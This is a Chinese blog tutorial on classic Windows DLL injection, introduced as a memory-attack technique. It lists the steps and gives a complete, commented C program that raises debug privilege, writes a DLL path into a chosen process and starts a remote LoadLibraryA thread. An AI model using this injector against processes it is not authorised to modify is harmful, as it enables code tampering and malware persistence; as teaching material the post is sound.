关闭

DLL注入

标签: dll注入远程进程读写
249人阅读 评论(0) 收藏 举报
分类:

前两篇文章介绍了DLL的编写与加载,现在来讲一下在内存攻击中会使用到的DLL注入

附 : 转载请注明来源 enjoy5512的博客 http://blog.csdn.net/enjoy5512


DLL注入的一般步骤:
1, EnableDebugPriv(自己编写)获取远程进程的调试权限
2,OpenProcess获得要注入进程的句柄
3,VirtualAllocEx在远程进程中开辟出一段内存,长度为 strlen(dllname)+1;
4,WriteProcessMemory将Dll的名字写入第三步开辟出的内存中。
5,CreateRemoteThread将LoadLibraryA作为线程函数,参数为Dll的名称,创建新线程
6,CloseHandle关闭进程和远程线程句柄


代码如下:


/////////////////////////////////////////////////////////////////////////////
//  文件名 : inject.c
//  作者 : enjoy5512   修改者 : enjoy5512   最后优化注释者 : enjoy5512
//  个人技术博客 : blog.csdn.net/enjoy5512
//  个人GitHub   : github.com/whu-enjoy
//  描述 : 对用户给定的进程PID对所选进程进行dll注入
//  主要函数 :
//      int EnableDebugPriv(const char *name)  //获取调试权限
//
//  版本 : 最终确定版  完成日期 : 2016年6月1日 19:09:03
//  修改 :
//  参考文献 :
/////////////////////////////////////////////////////////////////////////////


#include <stdio.h>
#include <windows.h>


    //函数说明开始
    //==================================================================================
    //  功能 : 获取进程的调试权限
    //  参数 : const char *name
    //  (入口)  name : 指向权限名称,我们这里用到SE_DEBUG_NAME
    //    #define          SE_BACKUP_NAME           TEXT("SeBackupPrivilege")
    //    #define          SE_RESTORE_NAME          TEXT("SeRestorePrivilege")
    //    #define          SE_SHUTDOWN_NAME         TEXT("SeShutdownPrivilege")
    //    #define          SE_DEBUG_NAME            TEXT("SeDebugPrivilege")
    //  返回 : -1表示获取权限失败, 0表示获取权限成功
    //  主要思路 : 先打开进程令牌环,然后获得本地进程name所代表的权限类型的局部唯一ID
    //             最后调整进程权限
    //  调用举例 : EnableDebugPriv(SE_DEBUG_NAME)
    //  日期 : 2016年6月1日 19:08:22(注释日期)
    //==================================================================================
    //程序说明结束
int EnableDebugPriv(const char *name)
{
    HANDLE hToken;        //进程令牌句柄
    TOKEN_PRIVILEGES tp;  //TOKEN_PRIVILEGES结构体,其中包含一个【类型+操作】的权限数组
    LUID luid;           //上述结构体中的类型值

    //打开进程令牌环
    //GetCurrentProcess()获取当前进程的伪句柄,只会指向当前进程或者线程句柄,随时变化
    if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES|TOKEN_QUERY, &hToken))
    {
       fprintf(stderr,"OpenProcessToken error\n");
       return -1;
    }

    //获得本地进程name所代表的权限类型的局部唯一ID
    if (!LookupPrivilegeValue(NULL, name, &luid))
    {
       fprintf(stderr,"LookupPrivilegeValue error\n");
    }

    tp.PrivilegeCount = 1;                               //权限数组中只有一个“元素”
    tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  //权限操作
    tp.Privileges[0].Luid = luid;                        //权限类型

    //调整进程权限
    if (!AdjustTokenPrivileges(hToken, 0, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL))
    {
       fprintf(stderr,"AdjustTokenPrivileges error!\n");
       return -1;
    }

    return 0;

}

//函数说明开始
    //==================================================================================
    //  功能 : DLL注入程序的入口函数
    //  参数 : 
    //  返回 : 无
    //  主要思路 : 首先得到需要注入的dll的绝对路径,然后获取远程进程的调试权限(XP下有的
    //             进程写数据时需要调试权限),然后申请一块可读可写的内存,再将dll的绝对
    //             路径写到远程进程刚申请的进程空间里,获取远程进程的LoadLibraryA函数的
    //             地址,再开启一个远程线程,加载dll
    //  日期 : 2016年6月1日 18:35:34(注释日期)
    //==================================================================================
    //函数说明结束
int main()
{
    char lpDllName[260] = {0};         //保存dll绝对路径

    HANDLE hProcess = NULL;            //进程句柄
    HANDLE hNewRemoteThread = NULL;    //远程线程句柄

    LPVOID lpLoadDll = LoadLibraryA;   //LoadLibraryA的指针
    LPVOID lpRemoteBuf = NULL;         //远程进程存放dll绝对路径的控件地址指针

    DWORD dwSize = 0;                  //dll绝对路径长度
    DWORD dwNewThreadId = 0;           //远程线程PID
    DWORD dwWrite = 0;                 //实际写入远程进程空间的字节数

    int pid = 0;                       //远程进程PID

    GetCurrentDirectoryA(260, lpDllName);   //获取当前程序目录
    strcat(lpDllName, "\\dllDemo.dll");     //获取dll绝对路径

    if(EnableDebugPriv(SE_DEBUG_NAME))      //获取远程进程调试权限
    {
        fprintf(stderr, "Add Privilege Failed!!\n");
    }

    printf("请输入要注入的进程pid : ");
    scanf("%d", &pid);                      //输入远程进程PID

    hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);   //打开远程进程句柄,获取全部权限
    if (NULL == hProcess)
    {
        fprintf(stderr, "\n获取进程句柄失败!\n,错误码 : %d", GetLastError());
        exit(1);
    }

    dwSize = strlen(lpDllName) + 1;         //得到dll路径长度+1,这个是开辟远程进程空间的大小
    lpRemoteBuf = VirtualAllocEx(hProcess, NULL, dwSize, MEM_COMMIT, PAGE_READWRITE); //申请远程进程一段可读可写的空间

    if (WriteProcessMemory(hProcess, lpRemoteBuf, lpDllName, dwSize, &dwWrite))  //写入dll绝对路径
    {
        if (dwWrite != dwSize)             //如果没有将路径写完,则释放申请的空间并退出
        {
            VirtualFreeEx(hProcess, lpRemoteBuf, dwSize, MEM_COMMIT);
            CloseHandle(hProcess);
            exit(2);
        }
    }
    else                                  //如果写入失败则报出错代码并退出
    {
        fprintf(stderr, "\n写入远程进程内存出错\n出错码 : %d", GetLastError());
        CloseHandle(hProcess);
        exit(3);
    }

    //开启远程线程,加载dll
    hNewRemoteThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadDll, lpRemoteBuf, 0, &dwNewThreadId);
    if(NULL == hNewRemoteThread)  //如果开启线程失败,则报出错码并退出
    {
        fprintf(stderr, "\n建立远程线程失败\n错误码 : %d", GetLastError());
        CloseHandle(hProcess);
        exit(4);
    }

    //WaitForSingleObject(hNewRemoteThread, INFINITE);
    CloseHandle(hProcess);
    CloseHandle(hNewRemoteThread);

    return 0;

}
0
0

查看评论
* 以上用户言论只代表其个人观点,不代表CSDN网站的观点或立场
    Welcome!!
    enjoy欢迎您的光临!
    My GitHub
    个人资料
    • 访问:39885次
    • 积分:789
    • 等级:
    • 排名:千里之外
    • 原创:40篇
    • 转载:0篇
    • 译文:0篇
    • 评论:4条
    最新评论
    友情链接